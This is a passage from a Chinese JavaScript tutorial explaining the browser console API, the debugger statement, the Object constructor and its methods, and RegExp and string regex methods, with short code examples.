time方法表示计时开始,timeEnd方法表示计时结束。它们的参数是计时器的名称。调用timeEnd方法之后,控制台会显示“计时器名称: 所耗费的时间”。

console.group(),console.groupEnd(),console.groupCollapsed()

console.groupconsole.groupEnd这两个方法用于将显示的信息分组。它只在输出大量信息时有用,分在一组的信息,可以用鼠标折叠/展开。

1
2
3
4
5
6
7
8
console.group('一级分组');
console.log('一级分组的内容');

console.group('二级分组');
console.log('二级分组的内容');

console.groupEnd(); // 二级分组结束
console.groupEnd(); // 一级分组结束

上面代码会将“二级分组”显示在“一级分组”内部,并且“一级分组”和“二级分组”前面都有一个折叠符号,可以用来折叠本级的内容。

console.groupCollapsed方法与console.group方法很类似,唯一的区别是该组的内容,在第一次显示时是收起的(collapsed),而不是展开的。

1
2
3
4
5
6
console.groupCollapsed('Fetching Data');

console.log('Request Sent');
console.error('Error: Server not responding (500)');

console.groupEnd();

上面代码只显示一行”Fetching Data“,点击后才会展开,显示其中包含的两行。

console.trace(),console.clear()

console.trace方法显示当前执行的代码在堆栈中的调用路径。

1
2
3
4
5
6
console.trace()
// console.trace()
// (anonymous function)
// InjectedScript._evaluateOn
// InjectedScript._evaluateAndWrap
// InjectedScript.evaluate

console.clear方法用于清除当前控制台的所有输出,将光标回置到第一行。如果用户选中了控制台的“Preserve log”选项,console.clear方法将不起作用。

控制台命令行 API

浏览器控制台中,除了使用console对象,还可以使用一些控制台自带的命令行方法。

(1)$_

$_属性返回上一个表达式的值。

1
2
3
4
2 + 2
// 4
$_
// 4

(2)$0 - $4

控制台保存了最近5个在 Elements 面板选中的 DOM 元素,$0代表倒数第一个(最近一个),$1代表倒数第二个,以此类推直到$4

(3)$(selector)

$(selector)返回第一个匹配的元素,等同于document.querySelector()。注意,如果页面脚本对$有定义,则会覆盖原始的定义。比如,页面里面有 jQuery,控制台执行$(selector)就会采用 jQuery 的实现,返回一个数组。

(4)$$(selector)

$$(selector)返回选中的 DOM 对象,等同于document.querySelectorAll

(5)$x(path)

$x(path)方法返回一个数组,包含匹配特定 XPath 表达式的所有 DOM 元素。

1
$x("//p[a]")

上面代码返回所有包含a元素的p元素。

(6)inspect(object)

inspect(object)方法打开相关面板,并选中相应的元素,显示它的细节。DOM 元素在Elements面板中显示,比如inspect(document)会在 Elements 面板显示document元素。JavaScript 对象在控制台面板Profiles面板中显示,比如inspect(window)

(7)getEventListeners(object)

getEventListeners(object)方法返回一个对象,该对象的成员为object登记了回调函数的各种事件(比如clickkeydown),每个事件对应一个数组,数组的成员为该事件的回调函数。

(8)keys(object)values(object)

keys(object)方法返回一个数组,包含object的所有键名。

values(object)方法返回一个数组,包含object的所有键值。

1
2
3
4
5
6
var o = {'p1': 'a', 'p2': 'b'};

keys(o)
// ["p1", "p2"]
values(o)
// ["a", "b"]

(9)monitorEvents(object[, events]) ,unmonitorEvents(object[, events])

monitorEvents(object[, events])方法监听特定对象上发生的特定事件。事件发生时,会返回一个Event对象,包含该事件的相关信息。unmonitorEvents方法用于停止监听。

1
2
monitorEvents(window, "resize");
monitorEvents(window, ["resize", "scroll"])

上面代码分别表示单个事件和多个事件的监听方法。

1
2
monitorEvents($0, 'mouse');
unmonitorEvents($0, 'mousemove');

上面代码表示如何停止监听。

monitorEvents允许监听同一大类的事件。所有事件可以分成四个大类。

  • mouse:“mousedown”, “mouseup”, “click”, “dblclick”, “mousemove”, “mouseover”, “mouseout”, “mousewheel”
  • key:“keydown”, “keyup”, “keypress”, “textInput”
  • touch:“touchstart”, “touchmove”, “touchend”, “touchcancel”
  • control:“resize”, “scroll”, “zoom”, “focus”, “blur”, “select”, “change”, “submit”, “reset”
1
monitorEvents($("#msg"), "key");

上面代码表示监听所有key大类的事件。

(10)其他方法

命令行 API 还提供以下方法。

  • clear():清除控制台的历史。
  • copy(object):复制特定 DOM 元素到剪贴板。
  • dir(object):显示特定对象的所有属性,是console.dir方法的别名。
  • dirxml(object):显示特定对象的 XML 形式,是console.dirxml方法的别名。

debugger 语句

debugger语句主要用于除错,作用是设置断点。如果有正在运行的除错工具,程序运行到debugger语句时会自动停下。如果没有除错工具,debugger语句不会产生任何结果,JavaScript 引擎自动跳过这一句。

Chrome 浏览器中,当代码运行到debugger语句时,就会暂停运行,自动打开脚本源码界面。

1
2
3
4
for(var i = 0; i < 5; i++){
console.log(i);
if (i === 2) debugger;
}

上面代码打印出0,1,2以后,就会暂停,自动打开源码界面,等待进一步处理。

参考链接

标准库

Object 对象

概述

JavaScript 原生提供Object对象(注意起首的O是大写),本章介绍该对象原生的各种方法。

JavaScript 的所有其他对象都继承自Object对象,即那些对象都是Object的实例。

Object对象的原生方法分成两类:Object本身的方法与Object的实例方法。

(1)Object对象本身的方法

所谓“本身的方法”就是直接定义在Object对象的方法。

1
Object.print = function (o) { console.log(o) };

上面代码中,print方法就是直接定义在Object对象上。

(2)Object的实例方法

所谓实例方法就是定义在Object原型对象Object.prototype上的方法。它可以被Object实例直接使用。

1
2
3
4
5
6
Object.prototype.print = function () {
console.log(this);
};

var obj = new Object();
obj.print() // Object

上面代码中,Object.prototype定义了一个print方法,然后生成一个Object的实例objobj直接继承了Object.prototype的属性和方法,可以直接使用obj.print调用print方法。也就是说,obj对象的print方法实质上就是调用Object.prototype.print方法。

关于原型对象object.prototype的详细解释,参见《面向对象编程》章节。这里只要知道,凡是定义在Object.prototype对象上面的属性和方法,将被所有实例对象共享就可以了。

以下先介绍Object作为函数的用法,然后再介绍Object对象的原生方法,分成对象自身的方法(又称为“静态方法”)和实例方法两部分。

Object()

Object本身是一个函数,可以当作工具方法使用,将任意值转为对象。这个方法常用于保证某个值一定是对象。

如果参数为空(或者为undefinednull),Object()返回一个空对象。

1
2
3
4
5
6
var obj = Object();
// 等同于
var obj = Object(undefined);
var obj = Object(null);

obj instanceof Object // true

上面代码的含义,是将undefinednull转为对象,结果得到了一个空对象obj

instanceof运算符用来验证,一个对象是否为指定的构造函数的实例。obj instanceof Object返回true,就表示obj对象是Object的实例。

如果参数是原始类型的值,Object方法将其转为对应的包装对象的实例(参见《原始类型的包装对象》一章)。

1
2
3
4
5
6
7
8
9
10
11
var obj = Object(1);
obj instanceof Object // true
obj instanceof Number // true

var obj = Object('foo');
obj instanceof Object // true
obj instanceof String // true

var obj = Object(true);
obj instanceof Object // true
obj instanceof Boolean // true

上面代码中,Object函数的参数是各种原始类型的值,转换成对象就是原始类型值对应的包装对象。

如果Object方法的参数是一个对象,它总是返回该对象,即不用转换。

1
2
3
4
5
6
7
8
9
10
11
var arr = [];
var obj = Object(arr); // 返回原数组
obj === arr // true

var value = {};
var obj = Object(value) // 返回原对象
obj === value // true

var fn = function () {};
var obj = Object(fn); // 返回原函数
obj === fn // true

利用这一点,可以写一个判断变量是否为对象的函数。

1
2
3
4
5
6
function isObject(value) {
return value === Object(value);
}

isObject([]) // true
isObject(true) // false

Object 构造函数

Object不仅可以当作工具函数使用,还可以当作构造函数使用,即前面可以使用new命令。

Object构造函数的首要用途,是直接通过它来生成新对象。

1
var obj = new Object();

注意,通过var obj = new Object()的写法生成新对象,与字面量的写法var obj = {}是等价的。或者说,后者只是前者的一种简便写法。

Object构造函数的用法与工具方法很相似,几乎一模一样。使用时,可以接受一个参数,如果该参数是一个对象,则直接返回这个对象;如果是一个原始类型的值,则返回该值对应的包装对象(详见《包装对象》一章)。

1
2
3
4
5
6
var o1 = {a: 1};
var o2 = new Object(o1);
o1 === o2 // true

var obj = new Object(123);
obj instanceof Number // true

虽然用法相似,但是Object(value)new Object(value)两者的语义是不同的,Object(value)表示将value转成一个对象,new Object(value)则表示新生成一个对象,它的值是value

Object 的静态方法

所谓“静态方法”,是指部署在Object对象自身的方法。

Object.keys(),Object.getOwnPropertyNames()

Object.keys方法和Object.getOwnPropertyNames方法都用来遍历对象的属性。

Object.keys方法的参数是一个对象,返回一个数组。该数组的成员都是该对象自身的(而不是继承的)所有属性名。

1
2
3
4
5
6
var obj = {
p1: 123,
p2: 456
};

Object.keys(obj) // ["p1", "p2"]

Object.getOwnPropertyNames方法与Object.keys类似,也是接受一个对象作为参数,返回一个数组,包含了该对象自身的所有属性名。

1
2
3
4
5
6
var obj = {
p1: 123,
p2: 456
};

Object.getOwnPropertyNames(obj) // ["p1", "p2"]

对于一般的对象来说,Object.keys()Object.getOwnPropertyNames()返回的结果是一样的。只有涉及不可枚举属性时,才会有不一样的结果。Object.keys方法只返回可枚举的属性(详见《对象属性的描述对象》一章),Object.getOwnPropertyNames方法还返回不可枚举的属性名。

1
2
3
4
var a = ['Hello', 'World'];

Object.keys(a) // ["0", "1"]
Object.getOwnPropertyNames(a) // ["0", "1", "length"]

上面代码中,数组的length属性是不可枚举的属性,所以只出现在Object.getOwnPropertyNames方法的返回结果中。

由于 JavaScript 没有提供计算对象属性个数的方法,所以可以用这两个方法代替。

1
2
3
4
5
6
7
var obj = {
p1: 123,
p2: 456
};

Object.keys(obj).length // 2
Object.getOwnPropertyNames(obj).length // 2

一般情况下,几乎总是使用Object.keys方法,遍历对象的属性。

其他方法

除了上面提到的两个方法,Object还有不少其他静态方法,将在后文逐一详细介绍。

(1)对象属性模型的相关方法

  • Object.getOwnPropertyDescriptor():获取某个属性的描述对象。
  • Object.defineProperty():通过描述对象,定义某个属性。
  • Object.defineProperties():通过描述对象,定义多个属性。

(2)控制对象状态的方法

  • Object.preventExtensions():防止对象扩展。
  • Object.isExtensible():判断对象是否可扩展。
  • Object.seal():禁止对象配置。
  • Object.isSealed():判断一个对象是否可配置。
  • Object.freeze():冻结一个对象。
  • Object.isFrozen():判断一个对象是否被冻结。

(3)原型链相关方法

  • Object.create():该方法可以指定原型对象和属性,返回一个新的对象。
  • Object.getPrototypeOf():获取对象的Prototype对象。

Object 的实例方法

除了静态方法,还有不少方法定义在Object.prototype对象。它们称为实例方法,所有Object的实例对象都继承了这些方法。

Object实例对象的方法,主要有以下六个。

  • Object.prototype.valueOf():返回当前对象对应的值。
  • Object.prototype.toString():返回当前对象对应的字符串形式。
  • Object.prototype.toLocaleString():返回当前对象对应的本地字符串形式。
  • Object.prototype.hasOwnProperty():判断某个属性是否为当前对象自身的属性,还是继承自原型对象的属性。
  • Object.prototype.isPrototypeOf():判断当前对象是否为另一个对象的原型。
  • Object.prototype.propertyIsEnumerable():判断某个属性是否可枚举。

本节介绍前四个方法,另外两个方法将在后文相关章节介绍。

Object.prototype.valueOf()

valueOf方法的作用是返回一个对象的“值”,默认情况下返回对象本身。

1
2
var obj = new Object();
obj.valueOf() === obj // true

上面代码比较obj.valueOf()obj本身,两者是一样的。

valueOf方法的主要用途是,JavaScript 自动类型转换时会默认调用这个方法(详见《数据类型转换》一章)。

1
2
var obj = new Object();
1 + obj // "1[object Object]"

上面代码将对象obj与数字1相加,这时 JavaScript 就会默认调用valueOf()方法,求出obj的值再与1相加。所以,如果自定义valueOf方法,就可以得到想要的结果。

1
2
3
4
5
6
var obj = new Object();
obj.valueOf = function () {
return 2;
};

1 + obj // 3

上面代码自定义了obj对象的valueOf方法,于是1 + obj就得到了3。这种方法就相当于用自定义的obj.valueOf,覆盖Object.prototype.valueOf

Object.prototype.toString()

toString方法的作用是返回一个对象的字符串形式,默认情况下返回类型字符串。

1
2
3
4
5
var o1 = new Object();
o1.toString() // "[object Object]"

var o2 = {a:1};
o2.toString() // "[object Object]"

上面代码表示,对于一个对象调用toString方法,会返回字符串[object Object],该字符串说明对象的类型。

字符串[object Object]本身没有太大的用处,但是通过自定义toString方法,可以让对象在自动类型转换时,得到想要的字符串形式。

1
2
3
4
5
6
7
var obj = new Object();

obj.toString = function () {
return 'hello';
};

obj + ' ' + 'world' // "hello world"

上面代码表示,当对象用于字符串加法时,会自动调用toString方法。由于自定义了toString方法,所以返回字符串hello world

数组、字符串、函数、Date 对象都分别部署了自定义的toString方法,覆盖了Object.prototype.toString方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
[1, 2, 3].toString() // "1,2,3"

'123'.toString() // "123"

(function () {
return 123;
}).toString()
// "function () {
// return 123;
// }"

(new Date()).toString()
// "Tue May 10 2016 09:11:31 GMT+0800 (CST)"

上面代码中,数组、字符串、函数、Date 对象调用toString方法,并不会返回[object Object],因为它们都自定义了toString方法,覆盖原始方法。

toString() 的应用:判断数据类型

Object.prototype.toString方法返回对象的类型字符串,因此可以用来判断一个值的类型。

1
2
var obj = {};
obj.toString() // "[object Object]"

上面代码调用空对象的toString方法,结果返回一个字符串object Object,其中第二个Object表示该值的构造函数。这是一个十分有用的判断数据类型的方法。

由于实例对象可能会自定义toString方法,覆盖掉Object.prototype.toString方法,所以为了得到类型字符串,最好直接使用Object.prototype.toString方法。通过函数的call方法,可以在任意值上调用这个方法,帮助我们判断这个值的类型。

1
Object.prototype.toString.call(value)

上面代码表示对value这个值调用Object.prototype.toString方法。

不同数据类型的Object.prototype.toString方法返回值如下。

  • 数值:返回[object Number]
  • 字符串:返回[object String]
  • 布尔值:返回[object Boolean]
  • undefined:返回[object Undefined]
  • null:返回[object Null]
  • 数组:返回[object Array]
  • arguments 对象:返回[object Arguments]
  • 函数:返回[object Function]
  • Error 对象:返回[object Error]
  • Date 对象:返回[object Date]
  • RegExp 对象:返回[object RegExp]
  • 其他对象:返回[object Object]

这就是说,Object.prototype.toString可以看出一个值到底是什么类型。

1
2
3
4
5
6
7
8
Object.prototype.toString.call(2) // "[object Number]"
Object.prototype.toString.call('') // "[object String]"
Object.prototype.toString.call(true) // "[object Boolean]"
Object.prototype.toString.call(undefined) // "[object Undefined]"
Object.prototype.toString.call(null) // "[object Null]"
Object.prototype.toString.call(Math) // "[object Math]"
Object.prototype.toString.call({}) // "[object Object]"
Object.prototype.toString.call([]) // "[object Array]"

利用这个特性,可以写出一个比typeof运算符更准确的类型判断函数。

1
2
3
4
5
6
7
8
9
10
11
12
var type = function (o){
var s = Object.prototype.toString.call(o);
return s.match(/\[object (.*?)\]/)[1].toLowerCase();
};

type({}); // "object"
type([]); // "array"
type(5); // "number"
type(null); // "null"
type(); // "undefined"
type(/abcd/); // "regex"
type(new Date()); // "date"

在上面这个type函数的基础上,还可以加上专门判断某种类型数据的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var type = function (o){
var s = Object.prototype.toString.call(o);
return s.match(/\[object (.*?)\]/)[1].toLowerCase();
};

['Null',
'Undefined',
'Object',
'Array',
'String',
'Number',
'Boolean',
'Function',
'RegExp'
].forEach(function (t) {
type['is' + t] = function (o) {
return type(o) === t.toLowerCase();
};
});

type.isObject({}) // true
type.isNumber(NaN) // true
type.isRegExp(/abc/) // true

Object.prototype.toLocaleString()

Object.prototype.toLocaleString方法与toString的返回结果相同,也是返回一个值的字符串形式。

1
2
3
var obj = {};
obj.toString(obj) // "[object Object]"
obj.toLocaleString(obj) // "[object Object]"

这个方法的主要作用是留出一个接口,让各种不同的对象实现自己版本的toLocaleString,用来返回针对某些地域的特定的值。

1
2
3
4
5
6
7
8
9
10
11
var person = {
toString: function () {
return 'Henry Norman Bethune';
},
toLocaleString: function () {
return '白求恩';
}
};

person.toString() // Henry Norman Bethune
person.toLocaleString() // 白求恩

上面代码中,toString()方法返回对象的一般字符串形式,toLocaleString()方法返回本地的字符串形式。

目前,主要有三个对象自定义了toLocaleString方法。

  • Array.prototype.toLocaleString()
  • Number.prototype.toLocaleString()
  • Date.prototype.toLocaleString()

举例来说,日期的实例对象的toStringtoLocaleString返回值就不一样,而且toLocaleString的返回值跟用户设定的所在地域相关。

1
2
3
var date = new Date();
date.toString() // "Tue Jan 01 2018 12:01:33 GMT+0800 (CST)"
date.toLocaleString() // "1/01/2018, 12:01:33 PM"

Object.prototype.hasOwnProperty()

Object.prototype.hasOwnProperty方法接受一个字符串作为参数,返回一个布尔值,表示该实例对象自身是否具有该属性。

1
2
3
4
5
6
var obj = {
p: 123
};

obj.hasOwnProperty('p') // true
obj.hasOwnProperty('toString') // false

上面代码中,对象obj自身具有p属性,所以返回truetoString属性是继承的,所以返回false

参考链接

RegExp 对象

RegExp对象提供正则表达式的功能。

概述

正则表达式(regular expression)是一种表达文本模式(即字符串结构)的方法,有点像字符串的模板,常常用来按照“给定模式”匹配文本。比如,正则表达式给出一个 Email 地址的模式,然后用它来确定一个字符串是否为 Email 地址。JavaScript 的正则表达式体系是参照 Perl 5 建立的。

新建正则表达式有两种方法。一种是使用字面量,以斜杠表示开始和结束。

1
var regex = /xyz/;

另一种是使用RegExp构造函数。

1
var regex = new RegExp('xyz');

上面两种写法是等价的,都新建了一个内容为xyz的正则表达式对象。它们的主要区别是,第一种方法在引擎编译代码时,就会新建正则表达式,第二种方法在运行时新建正则表达式,所以前者的效率较高。而且,前者比较便利和直观,所以实际应用中,基本上都采用字面量定义正则表达式。

RegExp构造函数还可以接受第二个参数,表示修饰符(详细解释见下文)。

1
2
3
var regex = new RegExp('xyz', 'i');
// 等价于
var regex = /xyz/i;

上面代码中,正则表达式/xyz/有一个修饰符i

实例属性

正则对象的实例属性分成两类。

一类是修饰符相关,用于了解设置了什么修饰符。

  • RegExp.prototype.ignoreCase:返回一个布尔值,表示是否设置了i修饰符。
  • RegExp.prototype.global:返回一个布尔值,表示是否设置了g修饰符。
  • RegExp.prototype.multiline:返回一个布尔值,表示是否设置了m修饰符。
  • RegExp.prototype.flags:返回一个字符串,包含了已经设置的所有修饰符,按字母排序。

上面四个属性都是只读的。

1
2
3
4
5
6
var r = /abc/igm;

r.ignoreCase // true
r.global // true
r.multiline // true
r.flags // 'gim'

另一类是与修饰符无关的属性,主要是下面两个。

  • RegExp.prototype.lastIndex:返回一个整数,表示下一次开始搜索的位置。该属性可读写,但是只在进行连续搜索时有意义,详细介绍请看后文。
  • RegExp.prototype.source:返回正则表达式的字符串形式(不包括反斜杠),该属性只读。
1
2
3
4
var r = /abc/igm;

r.lastIndex // 0
r.source // "abc"

实例方法

RegExp.prototype.test()

正则实例对象的test方法返回一个布尔值,表示当前模式是否能匹配参数字符串。

1
/cat/.test('cats and dogs') // true

上面代码验证参数字符串之中是否包含cat,结果返回true

如果正则表达式带有g修饰符,则每一次test方法都从上一次结束的位置开始向后匹配。

1
2
3
4
5
6
7
8
9
10
11
var r = /x/g;
var s = '_x_x';

r.lastIndex // 0
r.test(s) // true

r.lastIndex // 2
r.test(s) // true

r.lastIndex // 4
r.test(s) // false

上面代码的正则表达式使用了g修饰符,表示是全局搜索,会有多个结果。接着,三次使用test方法,每一次开始搜索的位置都是上一次匹配的后一个位置。

带有g修饰符时,可以通过正则对象的lastIndex属性指定开始搜索的位置。

1
2
3
4
5
6
7
8
var r = /x/g;
var s = '_x_x';

r.lastIndex = 4;
r.test(s) // false

r.lastIndex // 0
r.test(s)

上面代码指定从字符串的第五个位置开始搜索,这个位置为空,所以返回false。同时,lastIndex属性重置为0,所以第二次执行r.test(s)会返回true

注意,带有g修饰符时,正则表达式内部会记住上一次的lastIndex属性,这时不应该更换所要匹配的字符串,否则会有一些难以察觉的错误。

1
2
3
var r = /bb/g;
r.test('bb') // true
r.test('-bb-') // false

上面代码中,由于正则表达式r是从上一次的lastIndex位置开始匹配,导致第二次执行test方法时出现预期以外的结果。

lastIndex属性只对同一个正则表达式有效,所以下面这样写是错误的。

1
2
var count = 0;
while (/a/g.test('babaa')) count++;

上面代码会导致无限循环,因为while循环的每次匹配条件都是一个新的正则表达式,导致lastIndex属性总是等于0。

如果正则模式是一个空字符串,则匹配所有字符串。

1
2
new RegExp('').test('abc')
// true

RegExp.prototype.exec()

正则实例对象的exec方法,用来返回匹配结果。如果发现匹配,就返回一个数组,成员是匹配成功的子字符串,否则返回null

1
2
3
4
5
6
var s = '_x_x';
var r1 = /x/;
var r2 = /y/;

r1.exec(s) // ["x"]
r2.exec(s) // null

上面代码中,正则对象r1匹配成功,返回一个数组,成员是匹配结果;正则对象r2匹配失败,返回null

如果正则表示式包含圆括号(即含有“组匹配”),则返回的数组会包括多个成员。第一个成员是整个匹配成功的结果,后面的成员就是圆括号对应的匹配成功的组。也就是说,第二个成员对应第一个括号,第三个成员对应第二个括号,以此类推。整个数组的length属性等于组匹配的数量再加1。

1
2
3
4
var s = '_x_x';
var r = /_(x)/;

r.exec(s) // ["_x", "x"]

上面代码的exec方法,返回一个数组。第一个成员是整个匹配的结果,第二个成员是圆括号匹配的结果。

exec方法的返回数组还包含以下两个属性:

  • input:整个原字符串。
  • index:整个模式匹配成功的开始位置(从0开始计数)。
1
2
3
4
5
6
7
var r = /a(b+)a/;
var arr = r.exec('_abbba_aba_');

arr // ["abbba", "bbb"]

arr.index // 1
arr.input // "_abbba_aba_"

上面代码中的index属性等于1,是因为从原字符串的第二个位置开始匹配成功。

如果正则表达式加上g修饰符,则可以使用多次exec方法,下一次搜索的位置从上一次匹配成功结束的位置开始。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var reg = /a/g;
var str = 'abc_abc_abc'

var r1 = reg.exec(str);
r1 // ["a"]
r1.index // 0
reg.lastIndex // 1

var r2 = reg.exec(str);
r2 // ["a"]
r2.index // 4
reg.lastIndex // 5

var r3 = reg.exec(str);
r3 // ["a"]
r3.index // 8
reg.lastIndex // 9

var r4 = reg.exec(str);
r4 // null
reg.lastIndex // 0

上面代码连续用了四次exec方法,前三次都是从上一次匹配结束的位置向后匹配。当第三次匹配结束以后,整个字符串已经到达尾部,匹配结果返回null,正则实例对象的lastIndex属性也重置为0,意味着第四次匹配将从头开始。

利用g修饰符允许多次匹配的特点,可以用一个循环完成全部匹配。

1
2
3
4
5
6
7
8
9
10
11
var reg = /a/g;
var str = 'abc_abc_abc'

while(true) {
var match = reg.exec(str);
if (!match) break;
console.log('#' + match.index + ':' + match[0]);
}
// #0:a
// #4:a
// #8:a

上面代码中,只要exec方法不返回null,就会一直循环下去,每次输出匹配的位置和匹配的文本。

正则实例对象的lastIndex属性不仅可读,还可写。设置了g修饰符的时候,只要手动设置了lastIndex的值,就会从指定位置开始匹配。

字符串的实例方法

字符串的实例方法之中,有4种与正则表达式有关。

  • String.prototype.match():返回一个数组,成员是所有匹配的子字符串。
  • String.prototype.search():按照给定的正则表达式进行搜索,返回一个整数,表示匹配开始的位置。
  • String.prototype.replace():按照给定的正则表达式进行替换,返回替换后的字符串。
  • String.prototype.split():按照给定规则进行字符串分割,返回一个数组,包含分割后的各个成员。

String.prototype.match()

字符串实例对象的match方法对字符串进行正则匹配,返回匹配结果。

1
2
3
4
5
6
var s = '_x_x';
var r1 = /x/;
var r2 = /y/;

s.match(r1) // ["x"]
s.match(r2) // null

从上面代码可以看到,字符串的match方法与正则对象的exec方法非常类似:匹配成功返回一个数组,匹配失败返回null

如果正则表达式带有g修饰符,则该方法与正则对象的exec方法行为不同,会一次性返回所有匹配成功的结果。

1
2
3
4
5
var s = 'abba';
var r = /a/g;

s.match(r) // ["a", "a"]
r.exec(s) // ["a"]

设置正则表达式的lastIndex属性,对match方法无效,匹配总是从字符串的第一个字符开始。

1
2
3
4
var r = /a|b/g;
r.lastIndex = 7;
'xaxb'.match(r) // ['a', 'b']
r.lastIndex // 0

上面代码表示,设置正则对象的lastIndex属性是无效的。

String.prototype.search()

字符串对象的search方法,返回第一个满足条件的匹配结果在整个字符串中的位置。如果没有任何匹配,则返回-1

1
2
'_x_x'.search(/x/)
// 1

上面代码中,第一个匹配结果出现在字符串的1号位置。

String.prototype.replace()

字符串对象的replace方法可以替换匹配的值。它接受两个参数,第一个是正则表达式,表示搜索模式,第二个是替换的内容。

1
str.replace(search, replacement)

正则表达式如果不加g修饰符,就替换第一个匹配成功的值,否则替换所有匹配成功的值。

1
2
3
'aaa'.replace('a', 'b') // "baa"
'aaa'.replace(/a/, 'b') // "baa"
'aaa'.replace(/a/g, 'b') // "bbb"

上面代码中,最后一个正则表达式使用了g修饰符,导致所有的b都被替换掉了。

replace方法的一个应用,就是消除字符串首尾两端的空格。

1
2
3
4
var str = '  #id div.class  ';

str.replace(/^\s+|\s+$/g, '')
// "#id div.class"

replace方法的第二个参数可以使用美元符号$,用来指代所替换的内容。

  • $&:匹配的子字符串。
  • $`:匹配结果前面的文本。
  • $':匹配结果后面的文本。
  • $n:匹配成功的第n组内容,n是从1开始的自然数。
  • $$:指代美元符号$
1
2
3
4
5
'hello world'.replace(/(\w+)\s(\w+)/, '$2 $1')
// "world hello"

'abc'.replace('b', '[$`-$&-$\']')
// "a[a-b-c]c"

上面代码中,第一个例子是将匹配的组互换位置,第二个例子是改写匹配的值。

replace方法的第二个参数还可以是一个函数,将每一个匹配内容替换为函数返回值。

1
2
3
4
5
6
7
8
9
10
11
12
'3 and 5'.replace(/[0-9]+/g, function (match) {
return 2 * match;
})
// "6 and 10"

var a = 'The quick brown fox jumped over the lazy dog.';
var pattern = /quick|brown|lazy/ig;

a.replace(pattern, function replacer(match) {
return match.toUpperCase();
});
// The QUICK BROWN fox jumped over the LAZY dog.

作为replace方法第二个参数的替换函数,可以接受多个参数。其中,第一个参数是捕捉到的内容,第二个参数是捕捉到的组匹配(有多少个组匹配,就有多少个对应的参数)。此外,最后还可以添加两个参数,倒数第二个参数是捕捉到的内容在整个字符串中的位置(比如从第五个位置开始),最后一个参数是原字符串。下面是一个网页模板替换的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var prices = {
'p1': '$1.99',
'p2': '$9.99',
'p3': '$5.00'
};

var template = '<span id="p1"></span>'
+ '<span id="p2"></span>'
+ '<span id="p3"></span>';

template.replace(
/(<span id=")(.*?)(">)(<\/span>)/g,
function(match, $1, $2, $3, $4){
return $1 + $2 + $3 + prices[$2] + $4;
}
);
// "<span id="p1">$1.99</span><span id="p2">$9.99</span><span id="p3">$5.00</span>"

上面代码的捕捉模式中,有四个括号,所以会产生四个组匹配,在匹配函数中用$1$4表示。匹配函数的作用是将价格插入模板中。

String.prototype.split()

字符串对象的split方法按照正则规则分割字符串,返回一个由分割后的各个部分组成的数组。

1
str.split(separator, [limit])

该方法接受两个参数,第一个参数是正则表达式,表示分隔规则,第二个参数是返回数组的最大成员数。

1
2
3
4
5
6
7
8
9
10
11
// 非正则分隔
'a, b,c, d'.split(',')
// [ 'a', ' b', 'c', ' d' ]

// 正则分隔,去除多余的空格
'a, b,c, d'.split(/, */)
// [ 'a', 'b', 'c', 'd' ]

// 指定返回数组的最大成员
'a, b,c, d'.split(/, */, 2)
[ 'a', 'b' ]

上面代码使用正则表达式,去除了子字符串的逗号后面的空格。

1
2
3
4
5
6
7
// 例一
'aaa*a*'.split(/a*/)
// [ '', '*', '*' ]

// 例二
'aaa**a*'.split(/a*/)
// ["", "*", "*", "*"]

上面代码的分割规则是0次或多次的a,由于正则默认是贪婪匹配,所以例一的第一个分隔符是aaa,第二个分割符是a,将字符串分成三个部分,包含开始处的空字符串。例二的第一个分隔符是aaa,第二个分隔符是0个a(即空字符),第三个分隔符是a,所以将字符串分成四个部分。

如果正则表达式带有括号,则括号匹配的部分也会作为数组成员返回。

1
2
'aaa*a*'.split(/(a*)/)
// [ '', 'aaa', '*', 'a', '*' ]

上面代码的正则表达式使用了括号,第一个组匹配是aaa,第二个组匹配是a,它们都作为数组成员返回。

匹配规则

正则表达式的规则很复杂,下面一一介绍这些规则。

字面量字符和元字符

大部分字符在正则表达式中,就是字面的含义,比如/a/匹配a/b/匹配b。如果在正则表达式之中,某个字符只表示它字面的含义(就像前面的ab),那么它们就叫做“字面量字符”(literal characters)。

1
/dog/.test('old dog') // true

上面代码中正则表达式的dog,就是字面量字符,所以/dog/匹配old dog,因为它就表示dog三个字母连在一起。

除了字面量字符以外,还有一部分字符有特殊含义,不代表字面的意思。它们叫做“元字符”(metacharacters),主要有以下几个。

(1)点字符(.)

点字符(.)匹配除回车(\r)、换行(\n) 、行分隔符(\u2028)和段分隔符(\u2029)以外的所有字符。注意,对于码点大于0xFFFF字符,点字符不能正确匹配,会认为这是两个字符。

1
/c.t/

上面代码中,c.t匹配ct之间包含任意一个字符的情况,只要这三个字符在同一行,比如catc2tc-t等等,但是不匹配coot

(2)位置字符

位置字符用来提示字符所处的位置,主要有两个字符。

  • ^ 表示字符串的开始位置
  • $ 表示字符串的结束位置
1
2
3
4
5
6
7
8
9
// test必须出现在开始位置
/^test/.test('test123') // true

// test必须出现在结束位置
/test$/.test('new test') // true

// 从开始位置到结束位置只有test
/^test$/.test('test') // true
/^test$/.test('test test') // false

(3)选择符(|

竖线符号(|)在正则表达式中表示“或关系”(OR),即cat|dog表示匹配catdog

1
/11|22/.test('911') // true

上面代码中,正则表达式指定必须匹配1122

多个选择符可以联合使用。

1
2
// 匹配fred、barney、betty之中的一个
/fred|barney|betty/

选择符会包括它前后的多个字符,比如/ab|cd/指的是匹配ab或者cd,而不是指匹配b或者c。如果想修改这个行为,可以使用圆括号。

1
/a( |\t)b/.test('a\tb') // true

上面代码指的是,ab之间有一个空格或者一个制表符。

其他的元字符还包括\\*+?()[]{}等,将在下文解释。

转义符

正则表达式中那些有特殊含义的元字符,如果要匹配它们本身,就需要在它们前面要加上反斜杠。比如要匹配+,就要写成\+

1
2
3
4
5
/1+1/.test('1+1')
// false

/1\+1/.test('1+1')
// true

上面代码中,第一个正则表达式之所以不匹配,因为加号是元字符,不代表自身。第二个正则表达式使用反斜杠对加号转义,就能匹配成功。

正则表达式中,需要反斜杠转义的,一共有12个字符:^.[$()|*+?{\。需要特别注意的是,如果使用RegExp方法生成正则对象,转义需要使用两个斜杠,因为字符串内部会先转义一次。

1
2
3
4
5
(new RegExp('1\+1')).test('1+1')
// false

(new RegExp('1\\+1')).test('1+1')
// true

上面代码中,RegExp作为构造函数,参数是一个字符串。但是,在字符串内部,反斜杠也是转义字符,所以它会先被反斜杠转义一次,然后再被正则表达式转义一次,因此需要两个反斜杠转义。

特殊字符

